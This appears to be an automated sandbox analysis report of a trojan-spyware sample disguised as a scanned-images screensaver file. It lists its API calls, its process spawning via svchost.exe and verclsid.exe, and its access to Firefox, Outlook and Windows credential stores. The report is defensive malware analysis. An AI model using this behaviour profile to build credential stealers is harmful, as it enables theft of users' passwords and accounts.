Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395B2C0	1_2_0395B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395D2F0	1_2_0395D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E12ED	1_2_039E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394B1B0	1_2_0394B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0B16B	1_2_03A0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392F172	1_2_0392F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397516C	1_2_0397516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EF0CC	1_2_039EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039470C0	1_2_039470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F70E9	1_2_039F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF0E0	1_2_039FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF7B0	1_2_039FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F16CC	1_2_039F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03985630	1_2_03985630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DD5B0	1_2_039DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A095C3	1_2_03A095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F7571	1_2_039F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF43F	1_2_039FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03931460	1_2_03931460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395FB80	1_2_0395FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B5BF0	1_2_039B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397DBF9	1_2_0397DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFB76	1_2_039FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DDAAC	1_2_039DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03985AA0	1_2_03985AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E1AA3	1_2_039E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EDAC6	1_2_039EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFA49	1_2_039FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F7A46	1_2_039F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B3A6C	1_2_039B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D5910	1_2_039D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03949950	1_2_03949950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395B950	1_2_0395B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039438E0	1_2_039438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AD800	1_2_039AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03941F92	1_2_03941F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFFB1	1_2_039FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03903FD2	1_2_03903FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03903FD5	1_2_03903FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFF09	1_2_039FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03949EB0	1_2_03949EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395FDC0	1_2_0395FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F1D5A	1_2_039F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03943D40	1_2_03943D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F7D73	1_2_039F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFCF2	1_2_039FFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B9C32	1_2_039B9C32
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A0535	3_2_050A0535
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05160591	3_2_05160591
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05144420	3_2_05144420
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05152446	3_2_05152446
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0514E4F6	3_2_0514E4F6
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050C4750	3_2_050C4750
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A0770	3_2_050A0770
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0509C7C0	3_2_0509C7C0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BC6E0	3_2_050BC6E0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05090100	3_2_05090100
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0513A118	3_2_0513A118
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05128158	3_2_05128158
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051541A2	3_2_051541A2
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051601AA	3_2_051601AA
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051581CC	3_2_051581CC
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05132000	3_2_05132000
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515A352	3_2_0515A352
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051603E6	3_2_051603E6
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050AE3F0	3_2_050AE3F0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05140274	3_2_05140274
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051202C0	3_2_051202C0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050AAD00	3_2_050AAD00
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0513CD1F	3_2_0513CD1F
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050B8DBF	3_2_050B8DBF
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0509ADE0	3_2_0509ADE0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A0C00	3_2_050A0C00
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05140CB5	3_2_05140CB5
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05090CF2	3_2_05090CF2
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05142F30	3_2_05142F30
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050E2F28	3_2_050E2F28
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050C0F30	3_2_050C0F30
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05114F40	3_2_05114F40
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0511EFA0	3_2_0511EFA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05092FC8	3_2_05092FC8
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515EE26	3_2_0515EE26
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A0E59	3_2_050A0E59
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515CE93	3_2_0515CE93
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050B2E90	3_2_050B2E90
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515EEDB	3_2_0515EEDB
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050B6962	3_2_050B6962
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A29A0	3_2_050A29A0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0516A9A6	3_2_0516A9A6
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A2840	3_2_050A2840
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050AA840	3_2_050AA840
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050868B8	3_2_050868B8
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050CE8F0	3_2_050CE8F0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515AB40	3_2_0515AB40
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05156BD7	3_2_05156BD7
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0509EA80	3_2_0509EA80
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05157571	3_2_05157571
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0513D5B0	3_2_0513D5B0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051695C3	3_2_051695C3
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515F43F	3_2_0515F43F
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05091460	3_2_05091460
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515F7B0	3_2_0515F7B0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050E5630	3_2_050E5630
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051516CC	3_2_051516CC
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D516C	3_2_050D516C
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0508F172	3_2_0508F172
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0516B16B	3_2_0516B16B
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050AB1B0	3_2_050AB1B0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A70C0	3_2_050A70C0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0514F0CC	3_2_0514F0CC
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515F0E0	3_2_0515F0E0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051570E9	3_2_051570E9
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515132D	3_2_0515132D
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0508D34C	3_2_0508D34C
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050E739A	3_2_050E739A
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A52A0	3_2_050A52A0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BB2C0	3_2_050BB2C0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_051412ED	3_2_051412ED
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BD2F0	3_2_050BD2F0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A3D40	3_2_050A3D40
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05151D5A	3_2_05151D5A
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05157D73	3_2_05157D73
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BFDC0	3_2_050BFDC0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05119C32	3_2_05119C32
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515FCF2	3_2_0515FCF2
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515FF09	3_2_0515FF09
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A1F92	3_2_050A1F92
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515FFB1	3_2_0515FFB1
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05063FD5	3_2_05063FD5
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05063FD2	3_2_05063FD2
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A9EB0	3_2_050A9EB0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05135910	3_2_05135910
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A9950	3_2_050A9950
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BB950	3_2_050BB950
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0510D800	3_2_0510D800
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050A38E0	3_2_050A38E0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515FB76	3_2_0515FB76
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050BFB80	3_2_050BFB80
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05115BF0	3_2_05115BF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050DDBF9	3_2_050DDBF9
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05157A46	3_2_05157A46
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0515FA49	3_2_0515FA49
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05113A6C	3_2_05113A6C
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050E5AA0	3_2_050E5AA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_05141AA3	3_2_05141AA3
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0513DAAC	3_2_0513DAAC
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0514DAC6	3_2_0514DAC6
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03031D90	3_2_03031D90
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302AF68	3_2_0302AF68
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302AF70	3_2_0302AF70
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302CEF0	3_2_0302CEF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302CCC7	3_2_0302CCC7
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0302CCD0	3_2_0302CCD0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0303363B	3_2_0303363B
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03033640	3_2_03033640
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03035410	3_2_03035410
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_0304BA80	3_2_0304BA80
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0E6ED	3_2_04E0E6ED
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0D7B8	3_2_04E0D7B8
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0E238	3_2_04E0E238
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0E353	3_2_04E0E353
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0CA78	3_2_04E0CA78
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_04E0CA3D	3_2_04E0CA3D

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: String function: 00470A30 appears 46 times
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: String function: 0046F9F2 appears 31 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0392B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03975130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03987E54 appears 107 times
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: String function: 050E7E54 appears 107 times
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: String function: 0508B970 appears 262 times
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: String function: 0511F290 appears 103 times
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: String function: 0510EA12 appears 86 times
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: String function: 050D5130 appears 58 times

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1699819205.0000000003CF3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned-IMGS_from NomanGroup IDT.scr.exe
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000003.1702493783.000000000420D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned-IMGS_from NomanGroup IDT.scr.exe

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@14/9

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004C37B5 GetLastError,FormatMessageW,

0_2_004C37B5

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004B10BF AdjustTokenPrivileges,CloseHandle,		0_2_004B10BF
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004B16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_004B16C3

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004C51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_004C51CD

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004DA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_004DA67C

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004C648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_004C648E

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004542A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_004542A2

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

File created: C:\Users\user\AppData\Local\Temp\peaks

Jump to behavior

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: verclsid.exe, 00000003.00000002.3548335775.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000002.3548335775.0000000003405000.00000004.00000020.00020000.00000000.sdmp, verclsid.exe, 00000003.00000003.2017590770.0000000003405000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Virustotal: Detection: 36%
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Process created: C:\Windows\SysWOW64\verclsid.exe "C:\Windows\SysWOW64\verclsid.exe"
Source: C:\Windows\SysWOW64\verclsid.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Process created: C:\Windows\SysWOW64\verclsid.exe "C:\Windows\SysWOW64\verclsid.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\verclsid.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\verclsid.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\verclsid.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Static file information: File size 1613824 > 1048576

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zalkpCfMwtnpQo.exe, 00000002.00000002.3547860890.000000000013E000.00000002.00000001.01000000.00000004.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3547855130.000000000013E000.00000002.00000001.01000000.00000004.sdmp
